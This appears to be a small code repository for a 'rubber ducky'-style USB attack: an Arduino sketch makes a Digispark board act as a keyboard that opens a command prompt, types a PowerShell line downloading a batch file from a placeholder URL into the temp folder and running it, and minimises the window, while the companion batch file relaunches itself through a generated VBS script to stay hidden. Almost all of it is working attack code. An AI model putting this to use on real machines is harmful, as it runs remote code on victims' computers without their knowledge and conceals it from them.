digispark-rubberducky-fetch-and-run-commands.

r1.cmd

:: This hides the shell window while running commands
:: after first run, inv.vbs is created in %temp%... Invoke like this in future runs to hide window:
::    inv.vbs r1.cmd ry
@echo off
cd %temp%

if not exist inv.vbs (
echo CreateObject^("Wscript.Shell"^).Run "" ^& WScript.Arguments^(0^) ^& "", 0, False > inv.vbs
inv.vbs "r1.cmd ry"
exit
)

if not [%1]==[ry] (
inv.vbs "r1.cmd ry"
exit
)

::Commands go here!

thisisamazing.ino

#include "DigiKeyboard.h"

void setup() {
  // don't need to set anything up to use DigiKeyboard
}

void loop() {
  // this is generally not necessary but with some older systems it seems to
  // prevent missing the first character after a delay:
  DigiKeyboard.sendKeyStroke(0);
  
DigiKeyboard.delay(1500);
//run prompt
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(300);
DigiKeyboard.print(F("cmd"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
//cmd should now open. Short delay
DigiKeyboard.delay(1000);
//type command to download and run batch file. Also works with vbs/exe/whatever
DigiKeyboard.print(F("powershell wget http://<URL-TO-CMD-FILE-ON-INTERNET> -OutFile $env:temp/r1.cmd && start %temp%/r1.cmd && exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
//the next two lines minimize the cmd window
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT);
DigiKeyboard.sendKeyStroke(KEY_N);
//looooooong delay before exit, cuz exit appears lead to some sort of error which makes windows prompt "Unrecognized device" or "Device malfunctioned"
DigiKeyboard.delay(100000);
exit(0);
}